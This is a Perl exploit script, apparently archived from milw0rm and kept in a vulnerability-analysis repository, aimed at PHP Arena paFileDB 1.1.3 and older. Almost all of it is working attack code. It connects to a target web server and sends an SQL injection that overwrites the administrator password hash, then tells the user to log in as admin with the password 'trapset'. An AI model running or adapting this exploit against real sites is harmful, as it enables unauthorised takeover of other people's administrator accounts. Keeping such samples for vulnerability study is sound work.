lilbool/vuln-code-analysis

1#!/usr/bin/perl

2######################################################################################

3#        T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m           #

4######################################################################################

5#  EXPLOIT FOR:   PHP Arena paFileDB 1.1.3 And 0lder                                 #

6#                                                                                    #

7#Expl0it By: A l p h a _ P r o g r a m m e r (Sirus-v)                               #

8#Email: Alpha_Programmer@LinuxMail.ORG                                               #

9#                                                                                    #

10#                                                                                    #

11# + Discovered By: GulfTech                                                          #

12# + Advisory: https://www.securityfocus.com/bid/13967                                 #

13#Vulnerable:   PHP Arena paFileDB 1.1.3 and Older                                    #

14######################################################################################

15# GR33tz T0 ==>     mh_p0rtal  --  oil_Karchack  --  Dr_CephaleX  -- Str0ke          #

16#And Iranian Security & Hacking Groups:                                              #

17#                                                                                    #

18#      Crouz ,  Simorgh-ev   , IHSsecurity , AlphaST , Shabgard &  Emperor           #

19######################################################################################

20

21use IO::Socket;

22if (@ARGV < 2)

23{

24  print "\n====================================================\n";

25  print " \n       PHPArena Exploit By Alpha Programmer\n\n";

26  print "       Trap-Set Underground Hacking Team      \n\n";

27  print "           Usage: <T4rg3t> <DIR>\n\n";

28  print "====================================================\n\n";

29  print "Examples:\n\n";

30  print "    xpl.pl www.Site.com / \n";

31  exit();

32}

33

34my $host = $ARGV[0];

35my $dir = $ARGV[1];

36my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,

37PeerPort => "80" );

38unless ($remote) { die "C4nn0t C0nn3ct to $host" }

39print "\n\n[+] C0nn3cted\n";

40$http = "pafiledb.php?action=team&tm=file&file=edit&id=1&edit=do&query=UPDATE%20pafiledb_admin%20SET%20admin_password%20=%20c15c493548d09ffd03c9d41d8bbbfeef%281337%28%20WHERE%201/*\n";

41$http .= "Host: $host\n\r\n\r";

42print "[+] Injecting SQL Commands ...\n";

43sleep(1);

44print "[+] Changing Admin's Password ...\n";

45print $remote $http;

46sleep(1);

47while (<$remote>)

48{

49}

50print "[+] Now , Login With This Password :\n";

51print "Password : trapset\n\n";

52print "Enjoy ;) \n\n";

53

54# milw0rm.com [2005-06-15]